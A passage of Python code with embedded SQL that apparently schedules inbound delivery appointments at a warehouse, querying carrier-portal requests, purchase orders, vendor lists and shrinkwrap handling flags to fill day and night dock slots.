apl.request_date:: DATE,request_time:: TIME, CASE WHEN p.product_vas_profile_description IN ('SHRINKWRAP') THEN 1 ELSE 0 END vas_slot\r\n FROM aad.t_appt_appointment_log AS apl\r\n LEFT JOIN aad.t_appt_appointment_log_po AS pol\r\n USING(appointment_id)\r\n LEFT JOIN aad.t_po_detail AS pdp\r\n ON pol.po_number = pdp.po_number\r\n LEFT JOIN chewybi.products AS p\r\n ON pdp.item_number = p.product_part_number\r\n WHERE apl.wh_id = 'DFW1' AND apl.status <> 'Cancelled' AND p.product_merch_classification2 = 'Litter' AND p.product_vas_profile_description IN ('SHRINKWRAP') AND apl.request_date:: DATE >= current_date and dayofweek(apl.request_date:: DATE) NOT IN (6,7)\r\n ORDER BY 1,2\r\n \"\"\"\r\n df = pd.read_sql(query,cxn)\r\n df.columns = ['date','time','vas_flag']\r\n sch_vas_fl = dict([(str(i),str(j)),str(k)] for i,j,k in zip(df.date,df.time,df.vas_flag))\r\n \r\n temp_fl = sch_vas_fl.copy()\r\n for (i,j) in temp_fl.keys():\r\n gh = 0\r\n for k in sorted(day_slots[date_fl[i]]):\r\n if j == k and temp_fl[(i,j)] == '1' and gh != 0 and gh != len(day_slots[date_fl[i]])-1:\r\n w = gh-1\r\n if w < len(day_slots[date_fl[i]]):\r\n sch_vas_fl[(i,day_slots[date_fl[i]][w])] = '2'\r\n w = gh+1\r\n if w < len(day_slots[date_fl[i]]):\r\n sch_vas_fl[(i,day_slots[date_fl[i]][w])] = '2'\r\n elif j == k and temp_fl[(i,j)] == '1' and gh == 0:\r\n w = gh+1\r\n sch_vas_fl[(i,day_slots[date_fl[i]][w])] = '2'\r\n elif j == k and temp_fl[(i,j)] == '1' and gh == len(day_slots[date_fl[i]])-1:\r\n w = gh-1\r\n sch_vas_fl[(i,day_slots[date_fl[i]][w])] = '2'\r\n else:\r\n pass\r\n gh = gh+1\r\n \r\n for (i,j) in temp_fl.keys():\r\n gh = 0\r\n if date_fl[i] == '0':\r\n for k in sorted(night_slots[date_fl[i]]):\r\n if j == k and temp_fl[(i,j)] == '1' and gh != 0 and gh != len(night_slots[date_fl[i]])-1:\r\n w = gh-1\r\n if w < len(night_slots[date_fl[i]]):\r\n sch_vas_fl[(i,night_slots[date_fl[i]][w])] = '2'\r\n w = gh+1\r\n if w < len(night_slots[date_fl[i]]):\r\n sch_vas_fl[(i,night_slots[date_fl[i]][w])] = '2'\r\n elif j == k and temp_fl[(i,j)] == '1' and gh == 0:\r\n w = gh+1\r\n sch_vas_fl[(i,night_slots[date_fl[i]][w])] = '2'\r\n elif j == k and temp_fl[(i,j)] == '1' and gh == len(night_slots[date_fl[i]])-1:\r\n w = gh-1\r\n sch_vas_fl[(i,night_slots[date_fl[i]][w])] = '2'\r\n else:\r\n pass\r\n gh = gh+1\r\n else:\r\n pass\r\n logger.info(\"VAS data is collected and slots are initialized\") \r\n #getting input data from carrier portal\r\n query = \"\"\"\r\n WITH data2 AS \r\n (\r\n SELECT cpl.PO_no AS document_number,MAX(cpl.Ref_no) AS reference_number , MAX(cpl.VRDD:: DATE) AS requested_appt_date , MAX(cpl.Created_dt) AS created_dttm\r\n FROM sandbox_supply_chain.carrier_portal_new_test AS cpl\r\n WHERE cpl.FC_nm = 'DFW1' AND cpl.Created_dt BETWEEN (SELECT MAX(Created_dt) FROM sandbox_supply_chain.ISO_OUTPUT_NEW WHERE FC_nm = 'DFW1') + INTERVAL '1 SECOND' AND (SELECT current_date - INTERVAL '1 SECOND') \r\n AND cpl.Ref_no NOT IN (SELECT Ref_no FROM sandbox_supply_chain.iso_exception)\r\n AND cpl.Ref_no <> '190922-029070'\r\n GROUP BY 1\r\n )\r\n ,data AS\r\n (\r\n SELECT d1.reference_number AS Ref_no, CASE WHEN DAYOFWEEK(d1.requested_appt_date) = 7 THEN d1.requested_appt_date+2 WHEN DAYOFWEEK(d1.requested_appt_date) = 1 THEN d1.requested_appt_date+1 ELSE d1.requested_appt_date END AS VRDD1, d1.document_number AS PO_no,d1.created_dttm AS cr_dt,cpl.carrier_scac AS sc,cpl.carrier_name AS csr\r\n FROM data2 AS d1\r\n JOIN sandbox_supply_chain.carrier_portal_new_test AS cpl\r\n ON d1.reference_number = cpl.Ref_no AND cpl.PO_no = d1.document_number\r\n )\r\n , parameters AS\r\n (\r\n SELECT d.Ref_no, SUM(pdp.qty) AS IB_units, COUNT(DISTINCT pdp.item_number) AS sku, \r\n CASE\r\n WHEN (SUM(pdp.qty)/COUNT(DISTINCT pdp.item_number)) > 61 THEN 1\r\n WHEN (SUM(pdp.qty)/COUNT(DISTINCT pdp.item_number)) > 51 THEN 2\r\n WHEN (SUM(pdp.qty)/COUNT(DISTINCT pdp.item_number)) > 41 THEN 3\r\n WHEN (SUM(pdp.qty)/COUNT(DISTINCT pdp.item_number)) > 21 THEN 4\r\n WHEN (SUM(pdp.qty)/COUNT(DISTINCT pdp.item_number)) <= 21 THEN 5\r\n END as high_jump_rank,COUNT(DISTINCT pdp.po_number) AS po_count \r\n FROM data AS d\r\n JOIN aad.t_po_detail AS pdp\r\n ON d.PO_no = pdp.po_number\r\n GROUP BY 1\r\n )\r\n ,obj1 AS \r\n (\r\n SELECT d.Ref_no, AVG(DATEDIFF(day,pdpm.document_original_requested_delivery_dttm,d.VRDD1)) AS obj\r\n FROM data AS d\r\n JOIN chewybi.procurement_document_product_measures AS pdpm\r\n ON d.PO_no = pdpm.document_number\r\n GROUP BY 1\r\n ) \r\n ,obj AS \r\n (\r\n SELECT Ref_no, CASE WHEN obj IS NULL THEN 0 ELSE obj END AS obj\r\n FROM obj1\r\n )\r\n ,vas_parameters AS\r\n (\r\n SELECT d.Ref_no,sum(pdp.qty) AS vas_units\r\n FROM data AS d\r\n JOIN aad.t_po_detail AS pdp\r\n ON d.PO_no = pdp.po_number\r\n JOIN chewybi.products AS p\r\n ON pdp.item_number = p.product_part_number \r\n WHERE p.product_merch_classification2 = 'Litter' AND p.product_vas_profile_description IN ('SHRINKWRAP') \r\n GROUP BY 1\r\n )\r\n \r\n ,cont_flag AS\r\n (\r\n SELECT DISTINCT d.Ref_no, d.VRDD1,\r\n CASE WHEN v.vendor_number IN ('P000533','B000050','1760','9295','9302','P000544','P000508','P000486','P000400','7701','P000398','B000064','P000421','P000476','3755','3722','8038','5223') THEN 3\r\n ELSE NULL \r\n END AS cont_flag\r\n FROM data AS d\r\n JOIN chewybi.procurement_document_measures AS pdm\r\n ON d.PO_no = pdm.document_number\r\n JOIN chewybi.vendors AS v\r\n USING (vendor_key)\r\n )\r\n ,cont_fl AS\r\n (\r\n SELECT * , ROW_NUMBER() OVER (PARTITION BY VRDD1) AS rank\r\n FROM cont_flag\r\n WHERE cont_flag IS NOT NULL\r\n )\r\n ,stand_appt AS\r\n (\r\n SELECT DISTINCT d.Ref_no,d.PO_no,d.VRDD1,d.cr_dt,\r\n CASE WHEN LOWER(d.csr) LIKE 'estes%' THEN '000000012'\r\n WHEN LOWER(d.csr) LIKE 'yrc%' THEN '00000007'\r\n WHEN LOWER(d.csr) LIKE 'saia%' THEN '00000004'\r\n WHEN LOWER(d.csr) LIKE 'fedex%' THEN '9000'\r\n WHEN LOWER(d.csr) LIKE 'ups%' THEN '00000002'\r\n ELSE v.vendor_number END as vendor_number ,v.vendor_name\r\n FROM data AS d\r\n JOIN chewybi.procurement_document_measures AS pdm\r\n ON d.PO_no = pdm.document_number\r\n JOIN chewybi.vendors AS v\r\n ON pdm.vendor_key = v.vendor_key\r\n )\r\n ,stand_slot AS\r\n (\r\n SELECT Ref_no,PO_no, VRDD1,vendor_number,cr_dt, ROW_NUMBER() OVER(PARTITION BY VRDD1,vendor_number) AS rank\r\n FROM stand_appt\r\n WHERE stand_flag = 1\r\n ORDER BY VRDD1\r\n )\r\n ,vas_final AS \r\n (\r\n SELECT d.Ref_no, CASE WHEN vp.vas_units IS NULL THEN 0 ELSE vp.vas_units END AS vas_units\r\n FROM data AS d\r\n LEFT JOIN vas_parameters AS vp\r\n ON vp.Ref_no = d.Ref_no\r\n ) \r\n SELECT d.Ref_no,d.VRDD1 AS VRDD, \r\n CASE WHEN p1.obj < -1 AND DAYOFWEEK(d.VRDD1-p1.obj) IN (2,3,4,5,6) AND c.cont_flag IS NULL THEN CAST(d.VRDD1-p1.obj AS DATE) \r\n WHEN p1.obj < -1 AND DAYOFWEEK(d.VRDD1-p1.obj) = 1 AND c.cont_flag IS NULL THEN CAST(d.VRDD1-p1.obj + 1 AS DATE) \r\n WHEN p1.obj < -1 AND DAYOFWEEK(d.VRDD1-p1.obj) = 7 AND c.cont_flag IS NULL THEN CAST(d.VRDD1-p1.obj+2 AS DATE) ELSE CAST(d.VRDD1 AS DATE) END AS VRDD1, \r\n CASE WHEN p1.obj < -1 AND DAYOFWEEK(d.VRDD1-p1.obj) IN (3,4,5,6) AND c.cont_flag IS NULL THEN CAST(d.VRDD1-p1.obj-1 AS DATE) \r\n WHEN p1.obj < -1 AND DAYOFWEEK(d.VRDD1-p1.obj) IN (2,7,1) AND c.cont_flag IS NULL THEN CAST(d.VRDD1-p1.obj-3 AS DATE) \r\n WHEN p1.obj >= -1 AND DAYOFWEEK(d.VRDD1) = 6 AND c.cont_flag IS NULL THEN CAST(d.VRDD1+3 AS DATE) \r\n WHEN c.cont_flag IS NOT NULL AND DAYOFWEEK(d.VRDD1) = 6 THEN CAST(d.VRDD1+3 AS DATE) ELSE CAST(d.VRDD1+1 AS DATE) END AS VRDD2,\r\n CASE WHEN p1.obj < -1 AND DAYOFWEEK(d.VRDD1) <> 6 AND DAYOFWEEK(d.VRDD1-p1.obj) IN (4,5,6) AND c.cont_flag IS NULL THEN CAST(d.VRDD1-p1.obj-2 AS DATE) \r\n WHEN p1.obj < -1 AND DAYOFWEEK(d.VRDD1) <> 6 AND DAYOFWEEK(d.VRDD1-p1.obj) IN (1,2,3,7) AND c.cont_flag IS NULL THEN CAST(d.VRDD1-p1.obj-4 AS DATE) \r\n WHEN p1.obj < -1 AND DAYOFWEEK(d.VRDD1) = 6 AND DAYOFWEEK(d.VRDD1-p1.obj) IN (4,5,6) AND c.cont_flag IS NULL THEN CAST(d.VRDD1-p1.obj-2 AS DATE) \r\n WHEN p1.obj < -1 AND DAYOFWEEK(d.VRDD1) = 6 AND DAYOFWEEK(d.VRDD1-p1.obj) IN (1,3,7) AND c.cont_flag IS NULL THEN CAST(d.VRDD1-p1.obj-4 AS DATE) \r\n WHEN p1.obj < -1 AND DAYOFWEEK(d.VRDD1) = 6 AND c.cont_flag IS NULL AND DAYOFWEEK(d.VRDD1-p1.obj) IN (2) THEN CAST(d.VRDD1+4 AS DATE)\r\n WHEN p1.obj >= -1 AND DAYOFWEEK(d.VRDD1) IN (5,6) AND c.cont_flag IS NULL THEN CAST(d.VRDD1+4 AS DATE) \r\n WHEN c.cont_flag IS NOT NULL AND DAYOFWEEK(d.VRDD1) IN (5,6) THEN CAST(d.VRDD1+4 AS DATE) ELSE CAST(d.VRDD1+2 AS DATE) END AS VRDD3,\r\n p.IB_units, p.sku,p1.obj, p.high_jump_rank,c.cont_flag,\r\n CASE WHEN c.cont_flag IS NULL AND p.po_count <= 1 AND p.high_jump_rank IN (1,2,3,4) THEN 0 ELSE 1 END AS UPT,d.cr_dt,sa.vendor_number,sa.vendor_name,vl.vas_units\r\n ,CASE WHEN vl.vas_units > 0 THEN 1 ELSE 0 END AS vas_flag,d.csr\r\n FROM data AS d\r\n JOIN parameters AS p\r\n ON d.Ref_no = p.Ref_no\r\n JOIN cont_flag AS c\r\n ON p.Ref_no = c.Ref_no\r\n JOIN stand_appt AS sa\r\n ON c.Ref_no = sa.Ref_no and d.PO_no = sa.PO_no\r\n JOIN obj AS p1\r\n ON p1.Ref_no = d.Ref_no\r\n LEFT JOIN vas_final AS vl\r\n ON vl.Ref_no = d.Ref_no;\r\n \"\"\"\r\n df = pd.read_sql(query,cxn)\r\n df.columns = ['appt_id','vrdd','vrdd1','vrdd2','vrdd3','units','sku','obj','high_jump_rank','con_fl','upt','cr_dt','vendor','vendor_name','vas_units','vas_flag','carrier_name']\r\n dt1 = dict([(str(i),[str(j),str(k),str(l)]) for i,j,k,l in zip(df.appt_id,df.vrdd1,df.vrdd2,df.vrdd3)])\r\n #st_fl = dict([str(i),str(j)] for i,j in zip(df.appt_id,df.st_fl))\r\n cont_fl = {str(k):g['appt_id'] for k,g in df.groupby('con_fl')}\r\n cnt_fl = dict([str(i),str(j)] for i,j in zip(df.appt_id,df.con_fl))\r\n vendor = dict([str(i),str(j)] for i,j in zip(df.appt_id,df.vendor))\r\n units_sku_obj = dict([(str(i),[int(j),int(k),float(l)]) for i,j,k,l in zip(df.appt_id,df.units,df.sku,df.obj)])\r\n b = dict([str(i),str(j)] for i,j in zip(df.appt_id,df.upt))\r\n cr_dt = dict([str(i),str(j)] for i,j in zip(df.appt_id,df.cr_dt))\r\n v_name = dict([str(i),str(j).replace(',',';')] for i,j in zip(df.appt_id,df.vendor_name))\r\n vas_units = dict([str(i),int(j)] for i,j in zip(df.appt_id,df.vas_units))\r\n vas_flag = dict([str(i),str(j)] for i,j in zip(df.appt_id,df.vas_flag))\r\n hj_rank = dict([str(i),str(j)] for i,j in zip(df.appt_id,df.high_jump_rank))\r\n csr = dict([str(i),str(j).replace(',',';')] for i,j in zip(df.appt_id,df.carrier_name))\r\n vrdd = dict([str(i),str(j)] for i,j in zip(df.appt_id,df.vrdd))\r\n logger.info(\"Getting Carrier Portal Data\")\r\n date = str(dtm.datetime.today().date())\r\n dt = {}\r\n for i in dt1.keys():\r\n cnt = 0 \r\n for j in dt1[i]:\r\n if j < date:\r\n pass\r\n else:\r\n if i in dt:\r\n dt[i].append(j)\r\n else:\r\n dt[i] = [j]\r\n \r\n #po_number\r\n query = \"\"\"\r\n SELECT cpl.Ref_no,pdp.po_number, SUM(pdp.qty), COUNT(DISTINCT pdp.item_number)\r\n FROM sandbox_supply_chain.carrier_portal_new_test AS cpl\r\n JOIN aad.t_po_detail AS pdp\r\n ON cpl.PO_no = pdp.po_number\r\n WHERE cpl.FC_nm = 'DFW1' AND UPPER(cpl.request_type) LIKE 'CREATE%' AND cpl.VRDD:: DATE >= '20190701' AND cpl.Created_dt BETWEEN (SELECT MAX(Created_dt) FROM sandbox_supply_chain.ISO_OUTPUT_NEW WHERE FC_nm = 'DFW1') + INTERVAL '1 SECOND' AND (SELECT current_date - INTERVAL '1 SECOND') \r\n GROUP BY 1,2\r\n \"\"\"\r\n df = pd.read_sql(query,cxn)\r\n df.columns = ['ref','po','units','sku']\r\n ref_num = {str(k):g['po'].unique().tolist()for k,g in df.groupby('ref')}\r\n po = dict([(str(i),str(j)),[int(k),int(l)]] for i,j,k,l in zip(df.ref,df.po,df.units,df.sku))\r\n \r\n query = \"\"\"\r\n SELECT cpl.Incident_No,cpl.Ref_no,pdp.document_number,ISNULL(pdp.document_original_requested_delivery_dttm:: DATE,'1900-01-01')\r\n FROM sandbox_supply_chain.carrier_portal_new_test AS cpl\r\n JOIN chewybi.procurement_document_measures AS pdp\r\n ON cpl.PO_no = pdp.document_number\r\n WHERE cpl.FC_nm = 'DFW1' AND UPPER(cpl.request_type) LIKE 'CREATE%' AND cpl.VRDD:: DATE >= '20190701' AND cpl.Created_dt BETWEEN (SELECT MAX(Created_dt) FROM sandbox_supply_chain.ISO_OUTPUT_NEW WHERE FC_nm = 'DFW1') + INTERVAL '1 SECOND' AND (SELECT current_date - INTERVAL '1 SECOND') \r\n ORDER BY 1,2\r\n \"\"\"\r\n df = pd.read_sql(query,cxn)\r\n df.columns = ['inc','ref','po','ordd']\r\n ordd = dict([str(i),str(j)] for i,j in zip(df.po,df.ordd))\r\n inc = dict([str(i),str(j)] for i,j in zip(df.ref,df.inc))\r\n \r\n logger.info(\"Getting PO details in terms of units,sku and ORDD\")\r\n #cont_appt_scheduled\r\n query = \"\"\"\r\n SELECT apl.request_date:: DATE, COUNT(DISTINCT apl.appointment_id)\r\n FROM aad.t_appt_appointment_log AS apl\r\n JOIN aad.t_appt_appointment_log_po AS pol\r\n ON apl.appointment_id = pol.appointment_id\r\n JOIN chewybi.procurement_document_measures AS pdm\r\n ON pol.po_number = pdm.document_number\r\n JOIN chewybi.vendors AS v\r\n ON pdm.vendor_key = v.vendor_key\r\n WHERE apl.wh_id = 'DFW1' AND LOWER(apl.status) <> 'cancelled' AND apl.request_date:: DATE >= '2019-07-01' AND v.vendor_number IN ('P000533','B000050','1760','9295','9302','P000544','P000508','P000486','P000400','7701','P000398','B000064','P000421','P000476','3755','3722','8038','5223')\r\n GROUP BY 1\r\n ORDER BY 1\r\n \"\"\"\r\n df = pd.read_sql(query,cxn)\r\n if df.empty == False: \r\n df.columns = ['date','cnt']\r\n cont_appt = dict([str(i),2-int(j)] for i,j in zip(df.date,df.cnt))\r\n else:\r\n cont_appt = {}\r\n logger.info(\"Getting Container appointments data\")\r\n #reschedules\r\n query = \"\"\"\r\n WITH data AS (SELECT cpl.Ref_no, cpl.VRDD:: DATE, cpl.Created_dt:: DATE,pdm.document_number\r\n FROM chewybi.procurement_document_measures AS pdm\r\n JOIN sandbox_supply_chain.carrier_portal_new_test AS cpl\r\n ON cpl.PO_no = pdm.document_number\r\n WHERE cpl.FC_nm = 'DFW1' AND cpl.Ref_no NOT IN (SELECT Ref_no FROM sandbox_supply_chain.iso_exception) AND cpl.Created_dt BETWEEN (SELECT MAX(Created_dt) FROM sandbox_supply_chain.ISO_OUTPUT_NEW WHERE FC_nm = 'DFW1') + INTERVAL '1 SECOND' AND (SELECT current_date - INTERVAL '1 SECOND') \r\n )\r\n SELECT d.Ref_no,apl.appointment_id,apl.request_date:: DATE, request_time:: TIME, d.document_number\r\n FROM data AS d\r\n JOIN aad.t_appt_appointment_log_po AS pol\r\n ON d.document_number = pol.po_number\r\n JOIN aad.t_appt_appointment_log AS apl\r\n ON apl.appointment_id = pol.appointment_id\r\n \"\"\"\r\n df = pd.read_sql(query,cxn)\r\n rsch = {}\r\n if df.empty == False:\r\n df.columns = ['reference_number','appointment_id','Date','Time','PO_number']\r\n rsch = dict([(str(i),str(j)),[str(k),str(l)]] for i,j,k,l in zip(df.appointment_id,df.PO_number,df.Date,df.Time))\r\n \r\n else:\r\n pass\r\n logger.info(\"Getting Reschedule appointment data\")\r\n \r\n #scheduling standing appointment\r\n query = \"\"\"\r\n SELECT apl.request_date:: DATE, apl.request_time:: TIME, apl.vendor\r\n FROM aad.t_appt_appointment_log AS apl\r\n LEFT JOIN aad.t_appt_appointment_log AS pol\r\n USING(appointment_id)\r\n WHERE apl.request_date:: DATE BETWEEN current_date+1 AND current_date+60 AND LOWER(apl.status) <> 'cancelled' AND apl.standing_appt_id IS NOT NULL AND apl.vendor IS NOT NULL AND apl.wh_id = 'DFW1' AND pol.po_number IS NULL AND dayofweek(apl.request_date) NOT IN (1,7)\r\n ORDER BY 1,2\r\n \"\"\"\r\n df = pd.read_sql(query,cxn)\r\n df.columns = ['dt','tm','vendor']\r\n stnd_date = {str(k):g['dt'].unique().tolist() for k,g in df.groupby('vendor')}\r\n stnd_time = {str(k):g['tm'].unique().tolist()for k,g in df.groupby('vendor')}\r\n stnd_fl = dict([(str(i),str(j),str(k)),'0'] for i,j,k in zip(df.dt,df.tm,df.vendor))\r\n \r\n for i in stnd_date.keys():\r\n for j in range(1,len(stnd_date[i])+1):\r\n stnd_date[i][j-1] = str(stnd_date[i][j-1])\r\n for k in range(1,len(stnd_time[i])+1):\r\n stnd_time[i][k-1] = str(stnd_time[i][k-1])\r\n \r\n #standing appointment_vendor_units \r\n query = \"\"\"\r\n with standings_history as (\r\n select distinct poq.\"Location Code\",poq.appt_date,poq.No_,poq.standing_appt_id,poq.\"Buy-from Vendor No_\",poq.appt_quantity_fill,sum(pdm.document_receipt_hj_quantity) as received_units,count(pdm.product_part_number) as SKU_count\r\n from sandbox_supply_chain.scheduled_po_quantity poq \r\n left join chewybi.procurement_document_product_measures pdm on pdm.document_number = poq.No_ and poq.appt_date::date = pdm.appointment_dttm::date\r\n where poq.appt_date >= timestampadd('month',-3,current_date)\r\n and standing_appt_id is not null\r\n group by 1,2,3,4,5,6)\r\n \r\n ,standings_schedule as (\r\n select distinct wh_id, standing_appt_id, request_time:: TIME AS scheduled_time, date_part('dow',request_date) as dow, vendor, vendor_name, units_expected\r\n from aad.t_appt_appointment_log aal left join chewybi.vendors v on aal.vendor = v.vendor_number\r\n where standing_appt_id is not null and units_expected is not null and request_date::date > current_date)\r\n \r\n ,final AS (\r\n select ss.wh_id,\r\n ss.dow,\r\n ss.scheduled_time,\r\n ss.standing_appt_id,\r\n vendor,\r\n --case vendor\r\n --when '00000004' then 'SAIA LTL'\r\n --when '00000007' then 'YRC LTL'\r\n --when '00000002' then 'UPS LTL'\r\n --when '000000012' then 'ESTES LTL'\r\n --when '9000' then 'FEDEX LTL'\r\n --else vendor_name end as vendor_or_carrier,\r\n ss.units_expected as units_expected,\r\n sum(sh.appt_quantity_fill)/count(distinct sh.appt_date::date) as scheduled_units_per_day,\r\n isnull(sum(sh.received_units)/nullif(sum(sh.SKU_count),0),0) as UPT\r\n from standings_schedule ss \r\n join standings_history sh \r\n on ss.wh_id = sh.\"Location Code\" \r\n and ss.dow = date_part('dow',sh.appt_date) \r\n and ss.standing_appt_id = sh.standing_appt_id\r\n where vendor not in ('AVP1','CFC1','DAY1','DFW1','EFC3','MCO1','PHX1','WFC2') and ss.wh_id = 'DFW1'\r\n group by 1,2,3,4,5,6\r\n order by 1,4,2\r\n )\r\n SELECT vendor, CASE WHEN dow <> 5 AND scheduled_time BETWEEN '04:00:00' AND '15:30:00' THEN 1 WHEN dow = 5 AND scheduled_time BETWEEN '04:00:00' AND '16:00:00' THEN 1 ELSE 2 END AS shift, ROUND(AVG(scheduled_units_per_day),0) AS Units, ROUND((AVG(scheduled_units_per_day) /AVG(UPT)),0) AS SKU\r\n FROM final\r\n GROUP BY 1,2\r\n \"\"\"\r\n df = pd.read_sql(query,cxn)\r\n df.columns = ['y','x','r','t']\r\n v_units = dict([(str(i),str(j)),[float(k),float(l)]] for i,j,k,l in zip(df.y,df.x,df.r,df.t))\r\n logger.info(\"Getting Standing Appointment Data\")\r\n query = \"\"\"\r\n WITH break AS \r\n (\r\n SELECT apl.appointment_id,apl.request_date:: DATE, apl.request_time:: TIME,COUNT(DISTINCT pol.po_number) AS po_count, (SUM(pdp.qty)/COUNT(DISTINCT pdp.item_number)) AS hj_rank\r\n FROM aad.t_appt_appointment_log AS apl\r\n JOIN aad.t_appt_appointment_log_po AS pol\r\n USING(appointment_id)\r\n JOIN aad.t_po_detail AS pdp\r\n ON pol.po_number = pdp.po_number\r\n WHERE apl.status <> 'Cancelled' AND apl.request_date:: DATE BETWEEN current_date AND current_date+60 AND apl.wh_id = 'DFW1'\r\n GROUP BY 1,2,3\r\n ORDER BY 1,2\r\n )\r\n ,break_final AS \r\n ( \r\n SELECT appointment_id,request_date,request_time, CASE WHEN po_count > 1 or hj_rank < 35 THEN 1 ELSE 0 END AS bulk_or_breakdown\r\n FROM break\r\n ORDER BY 2,3\r\n )\r\n SELECT request_date,request_time,bulk_or_breakdown\r\n FROM break_final\r\n WHERE bulk_or_breakdown = 1\r\n ORDER BY 1,2\r\n \"\"\"\r\n df = pd.read_sql(query,cxn)\r\n df.columns = ['Dt','tm','bi']\r\n temp_bulk = dict([(str(i),str(j)),str(k)] for i,j,k in zip(df.Dt,df.tm,df.bi))\r\n logger.info(\"Initializing breakdown slots\")\r\n \r\n ref = {}\r\n units = {}\r\n slot = {}\r\n #scheduling stand_appointments\r\n for j in dt.keys():\r\n for k in dt[j]:\r\n if k in ref:\r\n ref[k].append(j)\r\n else:\r\n ref[k] = [j]\r\n \r\n for j in ref.keys():\r\n if j in sch_dict:\r\n pass\r\n #sch_dict[j] = [0,0,0]\r\n else:\r\n sch_dict[j] = [0,0,0]\r\n for j in sch_dict.keys():\r\n for k in range(1,3):\r\n if (j,str(k)) in sch_sh:\r\n pass\r\n #sch_sh[(j,str(k))] = [0,0,0]\r\n else:\r\n sch_sh[(j,str(k))] = [0,0,0]\r\n for j in sch_dict.keys():\r\n for k in day_slots[date_fl[j]]:\r\n if (j,k) in sch_slot:\r\n pass\r\n #sch_slot[(j,k)] = 0\r\n else:\r\n sch_slot[(j,k)] = 0\r\n for k in night_slots[date_fl[j]]:\r\n if (j,k) in sch_slot:\r\n pass\r\n #sch_slot[(j,k)] = 0\r\n else:\r\n sch_slot[(j,k)] = 0\r\n \r\n for j in ref.keys():\r\n if j in sch_vas:\r\n pass\r\n #sch_vas[j] = 0\r\n else:\r\n sch_vas[j] = 0\r\n \r\n for j in sch_vas.keys():\r\n for k in range(1,3):\r\n if (j,str(k)) in sch_vas_sh:\r\n pass\r\n #sch_sh[(j,str(k))] = [0,0,0]\r\n else:\r\n sch_vas_sh[(j,str(k))] = 0\r\n \r\n for j in ref.keys():\r\n for k in day_slots[date_fl[j]]:\r\n if (j,k) in sch_vas_fl:\r\n pass\r\n #sch_vas_fl[(j,k)] = '0'\r\n else:\r\n sch_vas_fl[(j,k)] = '0'\r\n for k in night_slots[date_fl[j]]:\r\n if (j,k) in sch_vas_fl:\r\n pass\r\n #sch_vas_fl[(j,k)] = '0'\r\n else:\r\n sch_vas_fl[(j,k)] = '0'\r\n \r\n for j in ref.keys():\r\n if j in cont_appt:\r\n pass\r\n else:\r\n cont_appt[j] = 4\r\n for (i,j) in sch_sh.keys():\r\n if j == '1':\r\n slot_count[(i,j)] = len(day_slots[date_fl[i]])*2 + 4 \r\n elif j == '2' and date_fl[i] == '0':\r\n slot_count[(i,j)] = len(night_slots[date_fl[i]])*2 + 4\r\n else:\r\n slot_count[(i,j)] = 0\r\n for j in cont_appt.keys():\r\n if cont_appt[j] < 0:\r\n cont_appt[j] = 0\r\n else:\r\n pass\r\n logger.info(\"Initializing Container appointment slots\") \r\n for j in cont_appt.keys():\r\n if cont_appt[j] == 0:\r\n sch_slot[(j,'05:00:00','c')] = 1\r\n sch_slot[(j,'08:00:00','c')] = 1\r\n sch_slot[(j,'15:00:00','c')] = 1\r\n sch_slot[(j,'19:00:00','c')] = 1\r\n elif cont_appt[j] == 1:\r\n sch_slot[(j,'05:00:00','c')] = 1\r\n sch_slot[(j,'08:00:00','c')] = 1\r\n sch_slot[(j,'15:00:00','c')] = 1\r\n sch_slot[(j,'19:00:00','c')] = 0\r\n if (j,'19:00:00') in sch_slot:\r\n sch_slot[(j,'19:00:00')] = sch_slot[(j,'19:00:00')] + 1\r\n else:\r\n sch_slot[(j,'19:00:00')] = 1\r\n elif cont_appt[j] == 2:\r\n sch_slot[(j,'05:00:00','c')] = 1\r\n sch_slot[(j,'08:00:00','c')] = 0\r\n sch_slot[(j,'15:00:00','c')] = 1\r\n sch_slot[(j,'19:00:00','c')] = 0\r\n if (j,'19:00:00') in sch_slot:\r\n sch_slot[(j,'19:00:00')] = sch_slot[(j,'19:00:00')] + 1\r\n else:\r\n sch_slot[(j,'19:00:00')] = 1\r\n if (j,'08:00:00') in sch_slot:\r\n sch_slot[(j,'08:00:00')] = sch_slot[(j,'08:00:00')] + 1\r\n else:\r\n sch_slot[(j,'08:00:00')] = 1\r\n elif cont_appt[j] == 3:\r\n sch_slot[(j,'05:00:00','c')] = 1\r\n sch_slot[(j,'08:00:00','c')] = 0\r\n sch_slot[(j,'15:00:00','c')] = 0\r\n sch_slot[(j,'19:00:00','c')] = 0\r\n if (j,'19:00:00') in sch_slot:\r\n sch_slot[(j,'19:00:00')] = sch_slot[(j,'19:00:00')] + 1\r\n else:\r\n sch_slot[(j,'19:00:00')] = 1\r\n if (j,'08:00:00') in sch_slot:\r\n sch_slot[(j,'08:00:00')] = sch_slot[(j,'08:00:00')] + 1\r\n else:\r\n sch_slot[(j,'08:00:00')] = 1\r\n else:\r\n sch_slot[(j,'05:00:00','c')] = 0\r\n sch_slot[(j,'08:00:00','c')] = 0\r\n sch_slot[(j,'15:00:00','c')] = 0\r\n sch_slot[(j,'19:00:00','c')] = 0\r\n if (j,'19:00:00') in sch_slot:\r\n sch_slot[(j,'19:00:00')] = sch_slot[(j,'19:00:00')] + 1\r\n else:\r\n sch_slot[(j,'19:00:00')] = 1\r\n if (j,'08:00:00') in sch_slot:\r\n sch_slot[(j,'08:00:00')] = sch_slot[(j,'08:00:00')] + 1\r\n else:\r\n sch_slot[(j,'08:00:00')] = 1\r\n \r\n for j in units_sku_obj.keys():\r\n if j in dt.keys():\r\n for k in range(1,len(dt[j])+1):\r\n if j in objec:\r\n objec[j].append(abs(units_sku_obj[j][2])+k-1)\r\n else:\r\n objec[j] = [abs(units_sku_obj[j][2])+k-1]\r\n \r\n logger.info(\"Starting to schedule standing appointments\") \r\n for j in sch_dict.keys():\r\n units[j] = sch_dict[j][0]\r\n slot[j] = sch_dict[j][2]\r\n \r\n #calculating expected units\r\n for (i,j,k) in stnd_fl.keys():\r\n if stnd_fl[(i,j,k)] == '0':\r\n if j in day_slots[date_fl[i]]:\r\n if(k,'1') in v_units:\r\n if (i,'1') in exp_units:\r\n exp_units[(i,'1')] = exp_units[(i,'1')] + v_units[(k,'1')][0]\r\n print(exp_units[(i,'1')])\r\n else:\r\n exp_units[(i,'1')] = v_units[(k,'1')][0]\r\n print(exp_units[(i,'1')])\r\n else:\r\n pass\r\n else:\r\n if(k,'2') in v_units:\r\n if (i,'2') in exp_units:\r\n exp_units[(i,'2')] = exp_units[(i,'2')] + v_units[(k,'2')][0]\r\n else:\r\n exp_units[(i,'2')] = v_units[(k,'2')][0]\r\n else:\r\n pass\r\n \r\n else:\r\n pass \r\n #required data structures for building model\r\n \r\n for i in ref.keys():\r\n for j in range(1,3):\r\n if (i,str(j)) in 